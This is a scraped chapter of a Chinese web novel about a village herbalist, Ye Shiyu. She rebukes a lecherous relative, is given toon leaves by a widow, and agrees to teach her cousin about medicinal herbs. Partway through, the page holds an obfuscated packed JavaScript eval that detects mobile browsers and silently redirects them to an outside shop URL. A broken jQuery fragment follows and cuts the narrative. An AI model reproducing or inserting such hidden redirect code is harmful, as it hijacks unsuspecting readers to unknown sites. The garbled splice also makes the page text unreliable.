文趣网 > 其他小说 > “毒医仙”生存指南 > 12. 香椿
    叶时雨回头的瞬间,陈耀辉下意识挺了挺脊背,可她那眼神淡淡一扫,他刚撑起来的硬气立刻塌了半截。但他不能在这么个小丫头面前露怯,又硬生生抬起下巴,作出一副极为不屑的模样。

    叶时雨扯了扯唇角,直直盯着他:“知道你嘴臭,但没想到你一张口就喷粪。你方才说,我该叫你一声叔?”

    声音不高不低,恰好让路过停下来看热闹的人都能听清楚。

    陈耀辉是叶时雨奶奶娘家那边的远房亲戚,不知拐了多少道弯才攀得上一声叔。早年叶奶还在世时,便没将这门所谓的亲戚当回事,更别提她早已过世多年。

    叶时雨不紧不慢地说:“倒是提醒我了,陈奶走得早,你也是有娘生没娘养啊。不过就你这样的德行,还是别提你娘了,我怕她气得棺材板都压不住,半夜爬出来打死你。”

    “哈哈哈!”围观的人群里爆发出一声哄笑,好些个妇人捂着嘴窃窃私语。

    “这恶女的胆子可真肥啊!”

    “还别说,听她骂那不要脸的陈老三,我心里好舒坦!”

    议论声越来越大,陈耀辉脸色更难看了,狠狠瞪了他们一眼。人群立马安静如鸡。

    他双目几欲喷火:“你,你好得很!”

    “怎么,被我说中,恼羞成怒了?”叶时雨往前走了两步,个子比他矮了整整半头,可偏偏气势压得他忍不住往后缩了缩脖子,两只手不自觉地护在胸前,眼神里闪过一丝惊恐。

    叶时雨翻了个白眼:“镇上人有多嫌你,你心里有数吧?三十大几了还是个光棍,专干下三滥的勾当,陈家的脸都被你丢尽了。你自己出去打听打听,陈家人的名声被你糟蹋成什么样了,全族上下哪个抬得起头来?”

    她一张嘴叭叭叭的,句句都戳在陈耀辉痛处。

    不知谁嘀咕了句:“果然恶人还得恶女磨。”

    声音不大,但叶时雨与陈耀辉都听到了,两人同时朝人群望去。

    说话的是个矮瘦的汉子,吓得一激灵,躲到人群后头去了。

    陈耀辉面皮紫涨,偏生嘴皮子不溜,嘴唇哆嗦着张了几次,愣是不知如何骂回去。他指着叶时雨“你、你”了老半天,后头的话怎么也接不上来。

    叶时雨好整以暇,歪了歪头:“您还有何指教,陈、叔?”

    她将那个“叔”字咬得格外重,尾音还拖了一拖,带着十足的挑衅。

    人群又炸开一声哄笑,几个半大小子拍着膝盖直乐,有个胆大的学着她的腔调喊了声"叔",被旁边的大人一巴掌拍在后脑勺上。

    陈耀辉恨恨丢下句“你等着”,转身就走。走得太急,还差点被脚下的土坷垃绊了一下,后头又是一阵哄笑。

    叶时雨往人群瞥了一眼,目光在林三富的脸上顿了顿,又淡淡移开,不再理会。

    叶千柔带着两个小的从坡上下来,三双眼睛瞪得圆溜溜的,里面亮晶晶的全是崇拜。

    “回家。”叶时雨脸上的冷意散了,在三个小脑袋上挨个拍了一巴掌,力道不重。三人嘻嘻哈哈簇拥着她朝着镇子方向走,嘴里不停说着方才的事。

    叶玲珑小嘴一如既往地甜:“六姑姑,你好厉害,我长大以后也想像你一样。”

    叶光霁在旁边使劲点头。

    叶时雨笑了一声,没接话。

    坡上不知何时站了两个人。前面那个身量高挑,穿一袭暗绿色圆领锦袍,衣襟和袖口用金线绣了万字纹,腰间的蹀躞带上嵌着几颗玛瑙和琉璃珠子,在日光下一闪一闪的。

    他身后跟着个褐衣小厮,弯腰塌背,手里擎着把没撑开的油纸伞。

    华服男子顶多二十出头,面皮白净,眉目舒朗,唇边噙着抹若有若无的笑。他望着坡下散尽的人群,手里一把玉扇在掌心点了点,低声说了句什么。

    小厮笑嘻嘻回话:“小郎君,这不叫骂街,只是一个小村姑耍横罢了。”

    华服男子玉扇在掌心又轻轻敲了敲,目光落在渐渐散去的人群身上:“那闲汉虽有不妥,可那村妇也忒泼辣了些。女子当温婉贤淑,不该如此蛮横。”

    小厮见他面上笑意淡了些,忙咧嘴赔笑,换了个话题:“小郎君,咱们是来寻访隐医的,不必理会这些村妇龃龉,没得浪费时间。”

    华服男子微微颔首,理了理袖口,转身顺着坡上的小路走了。

    叶时雨回到自家院子时,鸡群听见脚步声,呼啦啦拥上来,咕咕叫着仰头等她撒食。她抬脚虚虚赶了两下,从檐下挂着的粗布袋里摸出一把麸糠扬了出去,鸡群立刻扑过去抢作一团。

    麦黄和豆黄睡得正酣,闻声掀开眼皮看了看,打了个哈欠继续睡了。

    叶时雨刚卸下背篓,就听到院门被人轻轻叩了两声。叩门的人似乎有些犹豫,只发出极轻的响动。

    门外站着沈晚意,穿着身洗得发白的麻布衫。她是本地人最常见的深肤色,眉眼生得端正,下颌窄而秀气,整个人裹在略宽松的旧衫子里,好似随时能被风吹跑。

    说起来,沈晚意也是个苦命人。她丈夫伍三郎前些年服兵役时死了,留下一儿一女。所幸长子已有十三岁,女儿也满了十岁,都能帮衬家里。但毕竟寡妇门前是非多,她年轻,长得又好,风言风语一直不少,在婆家这边颇受排挤。

    “叶六姑娘,今日多谢你解围。家里也没什么好东西,这香椿叶子刚发,给你尝口鲜。”沈晚意声音细弱,面上带着局促,递过来一筐香椿,目光一触到叶时雨,便迅速垂下去。

    叶时雨鼻尖翕动,不动声色地观察沈晚意。她眼底泛着浅浅的青黑,嘴唇干得起了皮,整个人透着股倦意。

    “多谢婶子,我正馋这一口。”叶时雨接过香椿,将它们倒进筲箕里,将竹筐还给沈晚意,“我观婶子面色有些暗沉,大约是夜里睡不安稳,可摘些车前草和马齿苋,回来煮水喝,剩下的兑了温水洗身,能舒坦些,夜里也好睡。”

    沈晚意身体一僵,匆匆点了点头,声音细若蚊呐:“多谢。”

    说罢,快步走了。

    叶时雨望着她消失的方向,眉尖极轻地蹙了蹙,转身带上了院门

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766745|209725||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    叶晨风挽着袖子在后院劈柴,抬眼看到她,抹了把汗,露出沾满灰尘的面庞:“怎这个时辰才回?灶上有桄榔饼,你去垫垫肚子。”

    叶时雨“嗯”了声,边往柴房走边随口道:“碰到陈耀辉那腌臜货,踹了他一脚。”

    叶晨风一顿,直起腰,两条浓眉皱成一团:“他又找你麻烦?”

    “没,他找别人麻烦,我顺手管了管。”

    叶晨风抱起劈好的木柴走进柴房,一根根摞到墙根底下,不赞同地说:“你毕竟是个小娘子,在外头能不动手就别动手。名声还要不要了?”

    叶时雨找到先前特意打制的小药锄,冲他嘻嘻一笑,转身出了柴房门。

    叶晨风扬声喊道:"别不放在心上!有事你该叫我,我帮你揍人,听到没?"

    叶时雨头也不回地朝身后挥了挥手:“听到啦。”

    走了两步又折回来:“沈家婶子送了筐香椿叶,今晚用鸡蛋炒了吧。”

    “知道了。”

    晚食果然有香椿炒蛋,叶时雨吃得眉开眼笑。

    “哟,这吃的啥,老远就闻到香味了。”

    院门被人推开,文心巧走了进来,身后跟着叶昌盛和叶明成。

    “二伯,二伯母。”叶时雨和叶晨风起身招呼,“吃了没?一起吃点?”

    文心巧抱着筐青菜,叶子水灵灵的,根上还带着潮乎乎的泥。她将筐子放到一旁,又指了指叶昌盛手里提着的一条腊肉和一篮鸡蛋,满脸堆笑:“我们吃过了,这会儿是特意过来道谢的。”

    叶晨风疑惑地问:“道什么谢?”

    叶昌盛笑得褶子都舒展开了:“阿成说满满要教他认草药,便算是拜师了。虽是自家姐弟,礼数也得有。这点子东西不值钱,你们别嫌弃。”

    文心巧道:“我和你们二伯为着这混小子的营生愁了许久,高不成低不就的。听到他说要跟着满满学制药,这是门好营生,我们心里高兴呐。满满,你别嫌你弟笨,他要是不听话你只管揍。”

    叶明成梗着脖子嘀咕一句“谁笨了”,被文心巧反手一巴掌拍在脑袋上,缩了缩脖子不吭声了。

    待叶昌盛一家子走后,叶晨风望着叶时雨,欲言又止。

    “哥,有话直说。”

    “你若是收徒,得和陆大夫说一声吧?毕竟你的本事都是他教的。”

    叶时雨撇了撇嘴:“陆大夫那儿我心里有数,你别操这个心。”

    叶晨风靠在椅背上,抱着胳膊看她,不说话了。

    叶时雨知道他在想什么,但她没法儿解释。陆安平教过她辨认草药不假,但他骨子里并不认可女子学医,教给叶时雨的只是最寻常草药的辨识,连晾晒的法子都只讲了个囫囵,更别提炮制、配伍那些深的东西了。

    前世将军府药房里那股药材混着干燥木头的味道忽然就涌上了鼻腔,药工们眯眼看着手里锃亮的戥子,眉飞色舞说着不同炮制法给同一种药材带来的微妙变化。

    隔了一世,那些人的脸仍清晰如昨。